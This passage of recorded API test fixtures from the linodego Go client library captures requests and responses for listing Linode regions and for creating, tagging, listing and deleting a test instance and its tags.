"Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "gb-lon", "label": "London 2, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.236.0.46, 172.236.0.50, 172.236.0.47, 172.236.0.53, 172.236.0.52, 172.236.0.45, 172.236.0.49, 172.236.0.51, 172.236.0.54, 172.236.0.48", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "au-mel", "label": "Melbourne, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.236.32.23, 172.236.32.35, 172.236.32.30, 172.236.32.28, 172.236.32.32, 172.236.32.33, 172.236.32.27, 172.236.32.37, 172.236.32.29, 172.236.32.34", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 27}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 11 Jul 2024 18:29:07 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-ins-test-tag","tags":["go-tag-test"]}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 61338609, "label": "go-ins-test-tag", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["172.105.33.33"], "ipv6": "1234::5678/128", "image": null, "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": true, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": ["go-tag-test"], "host_uuid": "7c02d8248cd598c0fbe8286e88e0299137474f35", "has_user_data": false, "placement_group": null, "lke_cluster_id": null}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "781" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 11 Jul 2024 18:29:07 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-ins-test-tag","alerts":{"cpu":90,"io":10000,"network_in":10,"network_out":10,"transfer_quota":80},"watchdog_enabled":true,"tags":["go-tag-test","go-tag-test-bar"],"group":""}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61338609 method: PUT response: body: '{"id": 61338609, "label": "go-ins-test-tag", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["172.105.33.33"], "ipv6": "1234::5678/128", "image": null, "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": true, "available": false, "schedule": {"day": "Scheduling", "window": "Scheduling"}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": ["go-tag-test", "go-tag-test-bar"], "host_uuid": "7c02d8248cd598c0fbe8286e88e0299137474f35", "has_user_data": false, "placement_group": null, "lke_cluster_id": null}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "816" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 11 Jul 2024 18:29:07 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-tag-test-foo","linodes":[61338609]}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/tags method: POST response: body: '{"label": "go-tag-test-foo"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "28" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 11 Jul 2024 18:29:07 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/tags?page=1 method: GET response: body: '{"data": [{"label": "1720017781112637000-tag"}, {"label": "1720034737644008000-tag"}, {"label": "1720036462525806000-tag"}, {"label": "1720187490628487000-tag"}, {"label": "1720191694198091000-tag"}, {"label": "1720193251044123000-tag"}, {"label": "go-tag-test"}, {"label": "go-tag-test-bar"}, {"label": "go-tag-test-foo"}], "page": 1, "pages": 1, "results": 9}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "361" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 11 Jul 2024 18:29:08 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/tags/go-tag-test?page=1 method: GET response: body: '{"page": 1, "pages": 1, "results": 1, "data": [{"type": "linode", "data": {"id": 61338609, "label": "go-ins-test-tag", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["172.105.33.33"], "ipv6": "1234::5678/128", "image": null, "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": true, "available": false, "schedule": {"day": "Scheduling", "window": "Scheduling"}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": ["go-tag-test", "go-tag-test-bar", "go-tag-test-foo"], "host_uuid": "7c02d8248cd598c0fbe8286e88e0299137474f35", "has_user_data": false, "placement_group": null, "lke_cluster_id": null}}]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 11 Jul 2024 18:29:08 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - account:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/tags/go-tag-test method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 11 Jul 2024 18:29:08 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/tags/go-tag-test-foo method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 11 Jul 2024 18:29:08 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/tags/go-tag-test-bar method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 11 Jul 2024 18:29:08 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61338609 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 11 Jul 2024 18:29:09 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" TestTag_ListTaggedObjects_Missing.yaml000066400000000000000000000022711474652371000340600ustar00rootroot00000000000000golang-github-linode-linodego-1.47.0/test/integration/fixtures--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/tags/does-not-exist?page=1 method: GET response: body: '{"errors": [{"reason": "Not found"}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive 